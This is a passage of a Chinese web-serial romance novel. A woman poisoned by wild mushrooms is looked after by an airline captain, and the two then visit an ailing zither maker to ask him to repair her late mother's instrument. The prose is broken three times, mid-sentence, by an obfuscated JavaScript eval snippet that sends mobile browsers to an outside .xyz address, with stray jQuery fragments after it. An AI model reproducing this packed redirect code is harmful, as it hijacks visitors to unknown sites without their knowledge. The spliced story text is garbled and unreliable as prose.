她伸出手指隔空点了起来。 *** 段莫凡觉得不可思议,这个女人刚刚义正严词地说他一堆,可是现在她居然敢搂着自己脖子。 到底是谁越界! 现在更是眼神涣散,不知道隔空在乱点什么。 “喂,你怎么了?” 他抓着她的双肩晃了晃。 云城的花卉老板都贼有经验,说:“她吃菌子了吗?” 段莫凡点点头。 “快送医院吧,估计是中毒了。” 段莫凡赶紧帮她付了花钱,然后去扶她。 “走,上医院。” 她甩开他的胳膊,“别拉我,我要抓大鹅。” 说着像丧尸般踉跄地往前走了几步。 她幻视的世界居然是抓大鹅,这女人肯定是游戏玩多了! 真搞笑! 他无奈笑了一下,上前一步拉住她,将她打横抱起。 “哇,这么厉害的颠勺!” 突然的离地,让她感觉在颠勺,难以配对的花材一下豁然开朗,可以轻松消除。 “你别在我身上乱点。” 语言提醒自然没有用,段莫凡一手抱着她,一手按住她不安分的手。 “放开我,时间快到了!” 她急得要命,挣扎着,奈何他手劲很大,根本挣脱不开。 只能眼睁睁地看着时间归零,好好的一局就此结束。 “都怪你,这只讨厌的蓝花鹅,早晚将你拿下!” “听话,别乱动,等下帮你重来一局。”只能顺着她的视界安抚。 “能抓蓝花鹅?” “能。” 段莫凡抱着她打了辆车,很快到了医院。这里的医院都有治疗菌子中毒的经验,见怪不怪,一套流程下来,许黎念终于躺上了病床输液。 段莫凡坐在一旁的椅子上,舒了口气。 病床上的人还没解毒,还在手舞足蹈中,像得了疯病。 这场面也是不多见,他很不厚道地拿出手机来录像。 “许小姐,你现在在干嘛?” “有一堆消不掉的小雏菊,都被巨大的向日葵挡住了。”她皱着眉,手不断地做着上下颠勺的动作。 段莫凡憋着笑,还引导地问:“需要我帮你做点什么吗?” “帮我把那两朵巨大的向日葵移走!” “怎么移?” “就是……” 她转过头来看向他,眼神从疑惑到发亮。 “蓝花大鹅,别跑!” 她一下从病床上腾地坐起,一把揪住他的衣襟,动作之大,输着液的针口都有些回血。 段莫凡被她打个猝不及防,差点把手机摔了。 这么被她一揪,两人的距离变得很近,而她还在靠近自己,拽着他的手也越收越紧。 近到呼吸相闻,可以清楚地看到她嘴角一点得逞的笑意,秀气的鼻尖上一颗微小的痣,以及长长的睫毛在眼下投出的细碎阴影,蝴蝶振翅般轻轻扇动。 也微妙地在他心里动了一下。 他轻声说:“我不跑,你抓吧。” 8. 第 8 章 许黎念醒来,发现自己躺在医院病床上,阳光从窗帘的缝隙中漏进来,她看到段莫凡蜷缩在一旁窄小的陪护椅上。 难道她昨晚真的中毒了,怎么一点也想不起来呢? 不是在花市买花的吗? 后来又发生了什么? 头有些晕乎乎,她拧着眉努力想了想,还是想不起,像喝醉断了片。 “你醒了?” 他听到动静转过头来,拿起盖在身上的外套坐了起来,揉了揉眉心。 她试探地问:“我中毒了?” “病得不轻。” 他轻哼了一声,起身走到窗前拉开窗帘,室内一下亮了起来,腕表折射的光斑在她眼前一晃。 她抬手挡了挡,适应了一下,说:“你陪了我一夜?” “不用太感动。” 他背对着她站着,打开一点窗户,将袖子随意地撸起到手肘,露出青筋微凸的小臂,向上拉伸了下,又扭了扭腰,想来一晚上蜷缩在那么小那么硬的椅子上,没有睡好。 许黎念心里还是有些感动的,长这么大第一次有人在医院陪护了她一夜,而且还是不怎么熟的人。 “给你添麻烦了,谢谢你。” 段莫凡愣了一下,转过头来看她,见她神色真诚,便笑了下,玩笑道:“那就再请我吃顿饭,不是菌子就行。” 许黎念有点不好意思地低头轻笑,想不到自己真的中毒,太丢脸了。 头还是有点沉沉的感觉,还有一些梦境般的离奇记忆碎片闪过。 她捧着脑袋轻轻甩了甩,这种混沌感并未消失。 “我没……做什么奇怪的事吧?” 她以前在网上刷到过菌子中毒的人,好像会做出一些匪夷所思的事情。 他唇角轻扯,“怎样的算奇怪呢?” 许黎念欲言又止,不知该怎么说。 他走到床边,俯身逼近,食指勾着衣领扯开半寸。 “许小姐,这算吗?” 他修长的脖子上面赫然两个指甲盖大小的红痕。 怎么那么像传说中的吻痕! 许黎念瞳孔地震,大惊失色,一脸不可置信,这不能是自己做出的事吧? 绝对不可能! 这……这已经超出匪夷所思的范畴了! “许小姐,”他的气息就在她的面前耳畔,低沉磁性,“昨天你警告我越界了,不知道你这算不算越界。” 许黎念被噎得说不出话,一不小心被自己口水呛到,剧烈地咳嗽起来,一时分不清是咳嗽得脸红,还是尴尬得脸红。 “208床换药。” 护士推着治疗车进来时,段莫凡才转身整理了下衣服,逆光勾勒出他绷紧的下颌线,而许黎念在被子底下抓着床单的手指还在轻轻发颤。 护士见许黎念半靠坐着,问:“醒了,有没有哪里不舒服?” 许黎念摇摇头,“还好,就是还有点头晕。” “先测个血压。” 她平躺好,配合地伸出手臂。 然后瞥见他放在陪护椅上的外套,一枚蓝花手环滑出口袋一半。 记忆碎片突然闪现—— 抓蓝花大鹅! OMG! “别动。” 护士见她忽然情绪激动起来,连忙提醒。 段莫凡看她脸色微红,又问护士:“她什么时候可以出院?” “吊完这两瓶,再给医生看一下,中午差不多就可以了。” “行。”段莫凡抬腕看了下时间,说:“我出去买早饭,你想吃什么?” “随便,我都可以。” 段莫凡利落地套上外套,转身走了出去。 护士一边收拾着器材,一边感慨,“你男朋友对你真好。” “不……” 她想出声否认,但护士小姐姐的语速盖过了她。 “你昨天来的时候一直乱动,输液都没法好好输,回血好几次,是你男朋友一直抱着你握着你的手,才慢慢好起来的。” 许黎念太过震惊,连脑补画面都不敢,光是听她叙述就很暧昧。 “后来你还吐了,也是他收拾的,你还记得吗?” 许黎念木然地摇了摇头。 这一夜居然发生这么多事情。 他不羁的外表下居然还如此热心。 这人情欠得也忒大了。 要怎么还啊! “那你好好休息,有不适按呼叫铃。” 许黎念点点头,等护士出去以后,从枕头下摸到自己的手机。 手机上一堆信息,大部分是顾悠的,还在质问她昨晚为啥忽然挂断通话。 许黎念想了想,给她打去视频,手机那头顾悠正在遛狗,一只可爱的柯基头闯入屏幕。 “嘿,旺仔。” 旺仔是柯基的名字,许黎念也很喜欢它,经常去闺蜜家撸狗。 顾悠看着屏幕,疑惑,“你这是在医院?出什么事了?” 许黎念叹口气,“别提了,昨晚菌子中毒。” “哈?居然!传说中的红伞伞白杆杆,吃完躺板板?” 顾悠一边牵着旺仔往前走,一边时不时看屏幕一眼,“那你现在还好吗?” “差不多了,中午就能出院。” “谁陪你去的医院?” 许黎念沉默了几秒,说:“算了,都告诉你吧。” 否则,还不知道会被她问成什么样。 “上次不是给你分享过一张顺风车行程图嘛。” “嗯,司机头像照片还挺帅的。” “不是也告诉过你古筝是在他车上磕坏的吗。” “嗯,然后呢?”顾悠忽然恍然大悟,盯着屏幕声音都高了几分,“就是昨晚那个帅哥?他陪你去的云城?可以啊念念!” 这个容易激动,一惊一乍的女人! 许黎念在心里吐槽了一句,又说:“你听我说完嘛,他……实际是星翼航空的机长,跟我说打听到了陆云深的下落,就在云城,他正好飞这里,就顺道把我带过来了。” “等等,我捋一捋,机长又开顺风车?为什么?” 居然和她那晚一样的想法,果然是亲闺蜜。 她道:“你管他呢,也许补贴家用,也许个人爱好,这不是重点。” “都是重点好嘛!”顾悠不可思议道:“所以你俩就去逛花市,他还送你花?没猜错的话你俩肯定一起吃了饭,只是没料到你中毒了。” “饭是我请他吃的,为了感谢他稍我到云城。” 顾悠笑得一脸mean,“你急着解释什么呀,我又没说什么,此地无银三百两。” “你……”许黎念有点吃瘪,脸微微胀红。 “说真的念念,人真的很不错,非亲非故的,送你去医院还陪护一夜,还是个帅气机长,这条件很难遇到的好吧,不亏……” “等等,你什么意思?” 顾悠邪魅一笑,“我没什么意思。” 转头她却摸了摸狗头,用夹子的声音说:“旺仔,姨姨她很快就要脱单了啦,而你还是只单身汪。” 旺仔“嗷呜”仰天长叫一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542845|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不知道为什么,人面对可爱的小动物会不自觉的夹起来。 许黎念有点无语,“拜托,你别对小狗狗说这些好吧,有本事赶紧给它找个女朋友!” “找了,可是这家伙去人家家里狂炫狗粮,对谈情说爱没有一点兴趣,这不被人退货了嘛。” 许黎念哈哈笑出来,也夹着声音说:“旺仔,你真是一只实际的小狗,谈恋爱哪有干饭来得香,哈哈哈……” 正笑着,段莫凡推门进来,许黎念赶紧收敛起一脸嬉笑,压低声音说:“先这样,回头再说,我先挂了。” 段莫凡微挑眉,打趣道:“我是什么洪水猛兽吗,怎么一进来就变脸?” “没有,和朋友闹着玩呢。”她放下手机,朝他微微一笑。 “男朋友吧?” “没……”许黎念正想说没有,忽然想为什么要解释那么多,话锋一转,“陆大师那边怎么办?” 原定的时间肯定是不能了,出了这样一个意外,她也是没法预料。 他看她一眼,把早饭放到病床边的桌子上,“先吃早饭,燕麦拿铁,开心果贝果。” “谢谢,多少钱我转你。” 段莫凡被她逗笑了,手指轻扣桌面,朝她俯下一点身子,语调不羁,“许黎念小姐,你要这么算的话,不如把昨晚的账也一起算一算。” 许黎念错愕住,不敢动也不敢问,耳尖渐渐发烫,直至蔓延到脸颊。 *** 许黎念比较要强,出院之后回到酒店梳洗一番,下午就叫了一辆空间较大的商务车,装上古筝,前往古镇。 云城的冬天也很美,风虽大但气温不低,天蓝云白,群山绵延,大片过冬的红嘴鸥在湖边盘旋,很多游人举着面包片在喂海鸥。 沿湖是一栋栋民族特色的土木结构的楼房,房屋的门窗雕工精细,白色的影壁绘着寓意很好的图案,房前屋后栽种着鲜红亮黄的花朵,衬着青瓦白墙实在养眼,仿佛开了高清滤镜。 许黎念忍不住降下车窗拍照,如果不是急着要去办正事,在这里住上几天放空自己肯定很舒服。 风吹进来,身后传来一声轻咳。 她和段莫凡分坐在过道两旁的单人座,中间则放着古筝。 此刻他正闭着眼补眠,头微弯向一侧,细碎的刘海轻掩眉骨,挺直鼻梁下薄唇自然轻抿。座椅调成舒适的斜靠姿势,一条腿半屈膝,一条长腿无处安放似的随意横亘在过道中,双手抱臂,袖口微卷,露出骨节分明的手腕。 光影在他脸上掠过,着实帅气迷人。 她想起护士说的话,忽然觉得这样的人,当个普通朋友其实蛮好的。 她把车窗重新关上,不想影响他补眠。车内一片静谧,轻轻从包里拿出耳机听歌。 她已经放弃玩抓大鹅了,玩了几天一次都没通关,好胜心逐渐消磨只剩烦躁。而且昨晚还很社死,做梦般只零星想起一些画面,她到现在都不敢细问,怕自己做出来的事情可怕到没胆子听。 手指碰到包包角落里那只弯脖鸭子,忽然想试一试到底能不能晒成烤鸭。 阳光正好,许黎念捏着鸭子放在光线中,没一会儿白色的鸭子果然渐渐变成焦糖色,真的像一只油亮诱人的烤鸭。 看来是他的问题。 许黎念偷偷笑着,拿起手机对准拍了张照片,留作证据。 放下手机,不经意却瞥见他不知什么时候醒了,正看着她。 四目相对,很微妙的一种感觉。 她连忙晃了晃手中的烤鸭。 “变色了。” 9. 第 9 章 接近两小时的车程之后,终于抵达云城古镇。 陆云深大师所居住的那块区域都是青石板路,狭窄不平,汽车没法通行,两人只能拖着琴箱步行前往。 古镇不大,静卧在群山环抱之中,一条清澈见底的溪流弯曲绵延而下,河堤旁绿草野花郁郁葱葱,河道之上隔一段距离就横卧着形态不一的石桥木桥,两岸年代久远变成乌色的屋舍鳞次栉比,是一座远离游客的安静古朴小镇。 “大病初愈就别逞强了,放心交给我好吗?” 段莫凡看着许黎念吃力地拖着琴箱,小小的身躯拖那么一个大家伙,他实在于心不忍。知道她可能会拒绝,还是忍不住要开口。 许黎念停下脚步看了眼段莫凡,他戴了一副墨镜,此刻扯下一些,正看着她。 青石板路确实不好走,颠簸的很,她的手心都有点震红了。而且可能真的刚从医院出来,身体确实比平常无力。 “好吧,多谢。” 段莫凡像是舒了口气,她总算舍得放开这个宝贝。 他重新把墨镜往鼻梁上推了推,拉起这个高得离谱的琴箱。 “你来导航。”段莫凡把手机上的地址给她看。 许黎念看着输入门牌号,但是这个地方路况实在复杂,岔路巨多,走了一段导航都无法准确识别,无奈只能问路人。 巷子里都是一些老年人,窝在墙角晒着太阳,自然也不太会讲普通话,两人费了好大劲才问到路。 一顿七拐八拐之后,终于看到了那个难找的门牌号。 站在小院门前,许黎念舒了一口气,看向一旁的段莫凡,两人相视一笑,真是不容易。 “内有恶犬,请勿拍门。”段莫凡轻念着门上的警示牌,笑了下,“有意思。” 他摘下墨镜别在领口,然后还是抬手扣响木门。 不敲门难道要干等?又没门铃。 里头顿时传来疯狂的狗叫声。 “不是吧,还真有恶犬啊。” 他缩了下手,自言自语着,许黎念在他身后默默偷笑。 随着不断的狗叫声,终于有人来开门,是一个微胖的中年妇女,站在半开的门里,面无表情上下打量着两人。 “你们找谁?” 许黎念微笑说:“你好,请问是陆云深大师家吗?” “不是。”对方有些冷漠,说完就要关门。 “美女,等一等。”段莫凡一手撑在门上挡了一把,从怀中掏出一个土黄的信封,满脸堆笑地递上去,“美女,帮帮忙,拜托了。” 伸手难打笑脸人,何况是帅哥喊她美女。 女人接过信封扫了眼,然后说:“你们等一下。” 说着又关上了门。 两人站在门口干等,太阳有些晒人,云城的紫外线真的很强,许黎念感觉自己已经黑了一个度,后悔没戴个遮阳帽。 她往门旁的阴凉处站了站,强光还是刺眼,抬起手在眉眼处遮了遮,半眯着眼睛说:“你给她的是什么?” “拜访信。” “啊?”她诧异感叹,“好古老的感觉。” “陆老都封山隐居了,哪会随随便便见外人。” “这倒是。” 她点点头,否则也不用大费周章找他的下落了。不过,还有一点她不太明白。 “拜访信是你写的?” “我可没那么大能耐,也是托了关系。”段莫凡看向她,“你们古筝届的王淑云教授知道吗?” 许黎念愣了一下,王淑云教授是著名古筝演奏家,浙派筝传人,元老级别的。 “可是王教授已经辞世了。” 段莫凡解释道:“王教授的孙女周锦慧也是你们业内的,周家很有来头,托了她的关系。” 许黎念点点头,周锦慧如今在业内也是小有名气,只是师从不同的教授,不是同一个圈子,所以没有交集。 不过这些不是重点,令她震惊的是段机长的人脉居然这么广! 没几分钟,院门再次打开,还是那个女人,这回脸上多了点和善的笑容。 “二位请进。” 许黎念默默给段莫凡竖了竖大拇指。 这充满人情世故的世界! 难怪他坚持陪她一起来,靠她自己,没有这封拜访信,找到了地址也是吃闭门羹。 院内一条拴着链条的黑色小泰迪冲着他们上蹿下跳的吠叫。 “这就是恶犬?” 段莫凡轻呵一声,还以为是条大狼狗呢。 “小狗子凶得很,咬过好几个人。” 女人边说,边呵斥了下狗子,带着两人往里走。 小小的狗子戴大大的链条,大门上还有警示牌,看来邪恶摇粒绒战绩可查。 厅堂内一位头发花白,体型瘦削的老人,正佝偻着背在泡茶。 按照网上的资料,陆云深才六十来岁,现在人都保养的好,这个年纪不该如此苍老。 许黎念有点不敢确认,可是这里也没有其他符合的人。 她奉上几盒在云城买的营养保健品,试探地喊了一声,“陆老,您好。” “请坐吧。”陆云深招呼了一下,自己也坐下,“我身体不太好,基本上不见客了。” 他的脸颊瘦到凹陷,脸色也有些蜡黄,和网上查到的照片简直不像同一个人,可能真的因为生病瘦到脱相,显得特别苍老。 “抱歉,打扰您休养了。” 许黎念表达了歉意,然后长话短说讲清来意,并打开琴箱,把古筝抱出来放到桌上。 “陆老,这台古筝您还有印象吗?” 陆云深愣了一下,而后站起身来,开门的女人上前来扶他,他摆摆手推开了,然后戴上挂在脖子里的老花镜,走过去细细端详,轻轻抚摸。 “这是我和她一起制作的最后一台古筝。”他的嗓音有些苍老沙哑,回忆道:“有三十年了吧,那时候我还在扬城民族乐器厂工作,一位西装革履的年轻老板找到我,恳求为他的新婚妻子定制一台古筝,要求材料工艺都用顶级的,不计成本代价。” “九十年代哦,富裕的人没多少,这琴的材料费可是天价。”他瘦骨嶙峋的食指轻敲了下琴身,如数家珍,“这是60年级别的日本桐木,当时费了好一番周折的,这侧板是印度小叶紫檀,筝码是大红酸枝木,这些木料都是我跑了好几个地方亲自去搜寻的。” “还有这喜鹊登梅的纹样,我清楚地记得是那位年轻人拿来的纹样,说是他自己画的,真的蛮让人感动的。” 喜鹊登梅,是中国很传统的吉祥纹样,象征好运,幸福,喜上眉梢。 而且她妈妈名叫许梅丽。 可为何…… 许黎念没忍住,鼻尖酸涩,红了眼眶。 陆云深看向她,疑惑道:“你是?” “我是他们的女儿。”许黎念吸了吸鼻子,低声说:“我妈妈……已经过世了。” 物是人非,只留这台古筝,颇为讽刺。 段莫凡本来坐在一旁喝茶听故事,听到她这句话,手中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542846|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,不由得转头看她。 她双眸低垂,落寞的神情写在脸上,耳边几缕发丝覆在略干的唇上,显得有些苍白无力。 这古筝是她妈妈留给她的遗物,难怪那晚她那么紧张,气得说出赔偿一百万的话来。不过听陆大师的描述,这琴的市价可能远高于一百万。 原来她这么年轻就没了妈妈,真是让人忍不住跟着心疼蹙眉的可怜模样。 陆云深恍惚地看着她愣了一下,默默喝了口茶,叹道:“真遗憾。” 短暂的静默,许黎念的目光投向远处庭院中,只觉得日光晃眼惨白一片,让人恍惚。 她爸爸一开始在体制内工作,90年代初下海经商,可以说抓住了风口相当成功。她千禧年出生,当时已在寸土寸金的江城住上了大房子,上国际学校,有保姆,有司机,有家庭教师。父母经常出差,国内外到处飞,每次回来都给她带礼物,光是芭比娃娃就有一柜子,每年都带她去旅游,很小就背上了戴妃包,可以说是非常幸福的小公主生活。 恍如隔世。 再次收回目光时,她已调整好情绪。 “所以这古筝对我很重要,我想修好它,拜托了陆老!” 她双手合十,求着陆云深。 “这琴我修不了,你们走吧。” 许黎念不可置信,脱口问:“为什么?” “已经不可能了。” 陆云深摇了摇头,撂下这句话就起身离开,根本不给人开口的机会。 许黎念和段莫凡面面相觑,一时不明白发生了什么,为何突然生变? 刚才开门的女人起身准备送两人出去,拎着那几盒补品还给许黎念。 “老爷子脾气不太好,见谅。” 许黎念连连推辞,“只是一点小小的心意。” 然后又说:“大姐,我找到这里不容易,这古筝真的对我很重要,能不能拜托帮帮忙,再求求陆老,拜托了。” 这么千里迢迢而来,她真的不想这样放弃。如果连陆老都不愿意修,那就没有办法了。 女人看了她一眼,叹口气,“也不是他不愿意,是他一个人完成不了。” 许黎念抓住话里的重点,“那另一个人是?” 女人摇摇头,“不可能再合作,有心结了。” 段莫凡很有眼见地倒了杯茶,笑着递给女人,“大姐,慢慢说,我们不急。” 女人这才又重新坐下。 “我是陆云深的女儿,这古筝是我爹和陈姨……哦现在应该叫漆艺大师陈玉英,是他俩共同合作的,琴身漆艺和镶嵌工艺就出自陈老师之手。但是二十多年前两人有了点矛盾,已老死不相往来。” 许黎念道:“那如果找到陈老师,解开矛盾是不是还有希望?” 女人摆摆手,“陈老师不用找,她就在扬城,这么多年了,又不是没机会见,如果能解开早就解开了。” 段莫凡早在一旁上网查到了陈玉英的资料,递给许黎念看。 陈玉英,早年在扬城漆器厂工作,下岗潮时去了南方做服装生意,创办外贸公司,早已实现财富自由,五年前又回到家乡扬城成立了漆器工作室,是多宝嵌工艺的非遗传承人。 是个很成功的女强人,资料照片上珠圆玉润,面相舒展,看起来很让人舒服,人也显年轻。和陆老看起来简直不像一个年龄段的人。 来都来了,这件事她必须得搞清楚,否则千里迢迢的,她不甘心。 许黎念道:“究竟是什么心结,这么多年解不开?” 10. 第 10 章 庭院中的小黑狗已不再吠叫,趴在太阳里懒洋洋地晒着。 女人沉默着看了一会儿,终于开口。 “那年我8岁,当时父母已离异好几年,厂子很不景气,每天都有人下岗,单元楼里每天都有人家为此吵架,我爸的忧愁也写在脸上。当然我们小孩是不会想这些的,只记得那会儿《还珠格格》正热播,每天都是守在电视机旁,还有个本子专门抄歌词,零花钱也用来买香卡。” 《还珠格格》许黎念也是看过的,小时候暑假里湖南卫视总是轮番播出,但首播就不知道了。 她随口问:“还珠哪一年播的?” 段莫凡手快的查完了资料,“98年。” 女人附和,“对,就是98年,下岗潮很严重,我是90年生的。” 许黎念感慨,“居然这么古早,快30年前的剧了,我还没出生。” “我1岁了。”段莫凡也插了一句。 女人看了两人一眼,笑着说:“年轻真好!” 许黎念说:“我们又没差几岁。” “不不,”女人摆摆手,叹气,“过了三十,少吃也容易胖,新陈代谢明显没那么好了,过了三十四,颜值断崖式下跌,感觉一夜变老很多。” 许黎念宽慰道:“没有啦,你这样就正好,太瘦也不好,人要有一定的脂肪才有抵御疾病的力量。” 话匣子一打开,氛围比刚才松弛多了,女人的表情也松了很多,脸上多了些笑意。 她又继续说:“有一天我爸让我给陈姨送一封信,就是陈玉英老师,那时候街坊邻里的比较熟我喊她陈姨。陈姨年轻时挺漂亮,不知为什么可能眼光高就成了老姑娘,那时候的人都结婚早,到了年纪不结婚就像犯了天条被人指指点点,不像现在四十不晚,结不结婚都无所谓。” 说到这里女人又补了一句,“我就没结婚,五年前陪我爸来了云城,就包了一片土地种植蓝莓,现在电商时代加持,销量还不错。” “哇,姐你好棒!” 许黎念真心夸赞,时代在进步,女性不该被迫困在不满意的婚姻里。 女人也是爽快人,笑着说:“等会儿带两箱走,尝尝我家的蓝莓,今年特别脆甜。” 段莫凡听了眼前一亮,嬉皮笑脸说:“那可太好了,蓝莓我可太爱了。” 女人不放过任何一个卖货的机会,旋身走去厨房,很快端着一盘蓝莓上来。 “来,尝尝看。” “嚯,这蓝莓真大。” 段莫凡不客气地抓起两颗放入嘴里,好吃得连连点头。 蓝莓颗颗硬币大小,这种品相的超市里卖得可不便宜。 许黎念也尝了一颗,脆甜爽口,还有淡淡花香,真的很好吃。 女人看两人都很满意,拿出微信二维码,说:“加个好友,以后买蓝莓可以找我,给你们打折,保证新鲜美味,顺丰到家。” 吃人的手短,许黎念打开手机扫一扫,并指指一旁的段莫凡,说:“他飞行员,肯定有很多同事需要。” “我说小伙子怎么那么帅,原来是飞行员,多吃蓝莓视力好。”女人看着段莫凡一段夸,笑着说:“好吃回去帮姐推荐一下,给你优惠。” 段莫凡也一边扫码,一边说:“姐,打骨折吗?” 女人哈哈笑,“必须打骨折!” 许黎念眼见着话题越聊越偏,忙说:“姐,姐,合作的事等下再谈,我们先把当年的事讲完。” “抱歉,一说就停不下来了。” 女人哈哈笑,一看就是很热爱她的事业。 她喝了口茶,沉默了一下,“刚才说到哪了?” 许黎念提醒,“陆老喊你去送信。” “对对,瞧我这记性。”女人收敛了一些嬉笑,又继续说:“我就问我爸为啥不打电话,都什么年代了还写信。他说有些话还是书信更好表达。说实话我偷看了那封信,内容大致是表白,问她愿不愿意结婚这些话。” “当时住的都是厂子里分的房子,陈姨家和我家就隔了一条马路,我揣着信一路小跑过去,可她不在家。隔壁人家的小孩是我同学,我听到还珠的主题曲响了,就进去一起看,直到看完一集陈姨都没回来,我就把信给同学让她转交。” 许黎念猜想,“那封信丢了?” 女人立刻否认:“不,没有,隔天我问过同学,她说亲手交给陈姨的。” 她不敢说,她其实没有过问。这个答案不过是她编造出来的,在心头反复滚动演练好多遍好多年,潜移默化直到她自己都相信了这个答案,会恍惚自己究竟有没有转交,有没有过问。 那年她虽然只有八岁,可不是什么都不懂,陈姨和善漂亮,可是小小的她也有私心,她一点也不想有后妈。 那天到底是还珠格格吸引了她,还是私心绊住了她,她不想也不敢再去分辨。 许黎念根据网上的资料推测,“陈老师没回应,并且去了南方?” 女人点点头。 “我爸等了几天没等到回应,去楼里找她,发现已经人去楼空。后来我爸也没再婚,一个人带着我生活,为了谋生也转行过,直到后来这些传统文化越来越重视,才慢慢又重新拾起,但是好景不长。” 女人掩面叹了口气,“我爸得了肺癌,五年前搬到这里休养,闭门谢客,今天已是破例。” 难怪他看起来状态很差,还比实际年龄苍老很多。 这样一个陈年往事,许黎念一时不知该说些什么。 也不算错过吧,每个人都有选择自己生活的权利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542847|171062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在陈玉英的角度应该算不得什么心结,可能只是陆云深没有得到任何肯定或者否定的回应,反而等来的是一走了之,所以难以释怀。 *** 两人走出小院时,太阳已西斜,女人很客气,真的送了他们一人一箱蓝莓。 安静的小镇,青石板路上,只有拖着琴箱的声音。 “抱歉。”段莫凡忽然开口。 许黎念抬头看他一眼,“为什么突然这么说?” “我不知道这古筝是你妈妈留给你的遗物。” 许黎念抿着的嘴角向上弯了弯,“你知道我今天有什么感悟吗?” “嗯哼。” “感情会生变,爱会消失,只有事业不会骗自己。” 在舞台上自信发光的妈妈,从下岗创业到文化传承的陈玉英,还有卖蓝莓的胖胖大姐。 自信又美丽。 “所以?”他弯着一点头看着她。 “我们都要好好工作,好好生活,好好爱自己!” 她说这话的时候,橘红的夕阳洒在她身上,金灿灿的为她勾勒出一道绝美的轮廓。 他不由自主地放缓脚步,那种无比鲜活的元气感,让他目光不自觉地追随着她,这一刻世间仿佛只有她最为动人。 他道:“也要好好吃饭,走,下馆子去,我请客。” 许黎念看了眼手机,笑,“这才几点?” 他挑挑眉,“管他几点,饿了就要吃饭。” 其实她也有点饿,中午出院以后急匆匆对付了口,就赶来古镇。 她说:“我听说这里的酸辣鱼特别好吃下饭。” “都行,只要不是毒蘑菇就行。” 许黎念哭笑不得,她这算是被钉在耻辱柱上了。 两人边闲聊边找餐馆,比起之前融洽了许多。 许黎念说:“这两天谢谢你,我还是想争取一下,打算去扬城找陈玉英老师。” “打铁要趁热,明天一起直飞扬城,我们公司有这条航线。” 他手指一挥,做了个帅气利落的动作。 许黎念欲言又止,沉默一下,还是说:“段机长,这次的理由是?” “需要理由吗?”他耸耸肩,一脸的随性。 “做事不需要动机的吗?” “什么动机,犯罪动机?”他嗤地轻笑出声,而后挑了挑眉,慢条斯理说:“不过是想陪美女一程,如此坦率朴素的想法,犯法?” 许黎念语塞,半晌笑着给出评价,“你肯定很会撩女人。” “那你被撩到了吗?”他微微朝她俯身。 许黎念的心漏跳了一拍,慌乱中抬眸瞥见他正直直望着自己,深邃不见底的眼睛,半是风情半含笑。 这双眼,看狗都深情。 11. 第 11 章 云城机场贵宾休息室里,环境舒适安静,柔和的灯光洒在皮质沙发上,周围摆放着各种精致点心与饮品。 段莫凡这次安排了公务舱,在国内航线中很少设置头等舱,公务舱就相当于宽体客机的头等舱。 许黎念却无心享受,每次飞行,对她来说都像一场酷刑。 更要命的是阿普唑仑忘在了酒店,这种是处方药,药店是买不到的,她只能硬扛。 但愿一切顺利,不要有任何颠簸,她在心里默默祷告。 反观段莫凡,很松弛地一边刷着手机,一边吃着米线。 抬头见许黎念满脸疲惫甚是愁容,与昨天满满元气的少女判若两人。 “你看起来脸色不太好,昨晚没睡好?” “有些头痛。” 她心不在焉地答着,随手一撩把散到前面的长发甩到肩后。 她今天戴了一顶拉夫劳伦的海军蓝棒球帽,帽檐压得有点低,即使坐在同一张小圆桌旁,他也看不清她的神色。 “来杯咖啡?” “不用了,谢谢。”她有气无力地说着,漫无目的地刷着手机。 段莫凡觉得她不对劲,她虽然在看手机,可是明显没有看进去内容,只是随意刷着,好像是装着在看手机,实则掩饰着什么令她焦虑的情绪。 昨天还好好的,变化这么大这么快,莫非是生理期? 他喊来服务人员,帮她泡了杯热红茶。 她抬起头来,对服务人员轻轻说了声“谢谢”,然后礼貌性地轻抿了两口,又放下。 “我去窗口站一会。” 段莫凡看着她的背影若有所思,还是没想明白为何突然这样。 过了一会儿,一位工作人员朝他走来,亲和礼貌地说:“段先生,您的航班准备登机了。” 他点点头,起身去叫许黎念,只是在她身侧轻喊了她一声,她却像吓了一跳,身子微抖了一下。 如此心不在焉,像焦虑,又像失了魂。 公务舱是有专门的VIP通道,工作人员优先带着登机。 段莫凡单手插兜,一边漫不经心地问:“今天航班的机长是谁啊?” 工作人员连忙回答:“是徐蔚机长。” “perfect!”段莫凡嘴角微微上扬,转头对许黎念说:“是个很优秀的女机长。” 许黎念默默点头,没有想说话的欲望。 刚登上飞机,就看到妆容精致得体的空乘站在舱门口迎宾,旁边还站着一位穿着机长制服的女人。 和许黎念想象中的不同,刚才听段莫凡说是女机长,她脑子里的第一反应是毫无女人味的短发男人婆。 事实证明,她该为自己的刻板印象道歉。 